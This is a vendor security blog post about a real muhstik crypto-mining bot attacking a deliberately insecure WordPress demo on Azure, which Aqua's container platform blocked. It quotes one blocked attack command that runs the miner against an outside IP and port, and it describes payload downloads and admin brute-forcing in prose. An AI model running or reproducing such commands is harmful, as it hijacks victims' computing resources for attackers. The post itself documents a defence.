Sometimes life, a.k.a., the internet, throws us a bone when it comes to running demonstrations on security tools.
As a solution architect for Aqua, I’m constantly trying to design real-world demos that bring resonance and context for our container security product audience, so that its raison d’être is somehow crystallized. In this particular demo, the product also happened to be the raison d’être of our organization, which is comprised of DevOps engineers who are hell bent on securing containerized cloud native applications.
Staging demos is just that - staged. I always feel they lack a certain credibility no matter how good they appear on the surface.
Here comes the bone. I was creating a demo environment on Azure (AKS) with a purposely insecure, outward-facing WordPress-as-an-attack-Surface (WaaaS) installation. Of course, Aqua’s container security platform was installed to make sure it was all tickety-boo*.
While I was checking the environment, everything was progressing as expected as pods spun up and some basic security policies were established. To my surprise, however, I noticed a series of ‘block’ notifications (i.e., incidents where Aqua blocked a suspicious action) that I wasn’t expecting in the audit logs.
It looked like this:
One specific blocked event was an attempt to run this command:
./muhstik -o 185.86.148.14:8080 -u prxy -p -k -v 0 -B -max-cpu-usage=99
My first thought was, of course, How kind of them to leave me 1% of the CPU!
Learning from Past Muhstiks
I’ve heard of muhstik before, but to be on the safe side, I Googled muhstik for more information and checked out #muhstik on Twitter to get the backstory.
It turned out to be Crypto-mining. How embarrassing is that? That is so 2017!
In fact, it was, from 2017 when crypto-mining attacks were skyrocketing. That was good timing for muhtsik fans at the time. But I had to ask myself, Why now? I mean, really, why now?
It was strange to see bots still plying their crypto-bot trade on bad WordPress installations. It was a total blast from the past. However, this ended up being a great demo for Aqua security.
The command execution was clearly automated, as the previous ‘block’ was, in fact, code that was reaching out to download this malicious executable. Apparently, the attack tried several locations to download its .exe payload before running the .exe itself and reaching out to its C2 server.
The first thing that happened was an attempt by the bot to initiate a connection to download the malicious payload from multiple individual sources. That attempt was blocked by our container firewall. Subsequently, there was a failed effort to run a command which was outside of the image definition. That attempt was prevented by enabling "drift prevention" in the runtime policy.
In addition to the muhstik executable, there was an attempt to run another executable immediately afterwards. That executable answers to the name of pyt8, and it was taken directly from the default theme for WordPress 2017. I was wondering if it were possible that the theme had a remove execution bug in it?
The year 2017 was the number one time in history for WordPress CVEs, with a whopping 43 of them registered by the end of that year. If you have any 2017 WordPress installations, you might want to consider patching them up.
That being said, the modus operandi of this bot, according to sources on the internet, is to use brute-force attacks to get the password of the admin account. Wait! Are you telling me that Passw0rd isn’t a legit password anymore? Who knew?
Regardless of the attack vector, from 2:30 pm to 3:30 pm on the 19th of June 2019, I was on a train watching in delight as Aqua, using the minimal best practice settings for a recent installation, stopped a known, real crypto-mining bot attack on a real cloud deployment of containers.
Next time this occurs, I just need to time it properly so that I’m in a meeting with the correct stake holders when it happens. Until then, I have the memories, and of course, the audit logs, now immortalized in Splunk.
Want to see how Aqua Security prevents attacks on containerized environments?
Security Coverage: Past and Present
One of the litmus tests of quality security performance is to show that it protects you against both new and old vulnerabilities. Security teams need to research constantly and be on the lookout for new CVEs. It is good to know that even old vulnerabilities are not going be exploited, and as the The Who sang, "We won’t get fooled again."
*In case you are neither a Canadian, nor a die-hard Danny Kaye fan, tickety-boo means “fine” or “okay”.
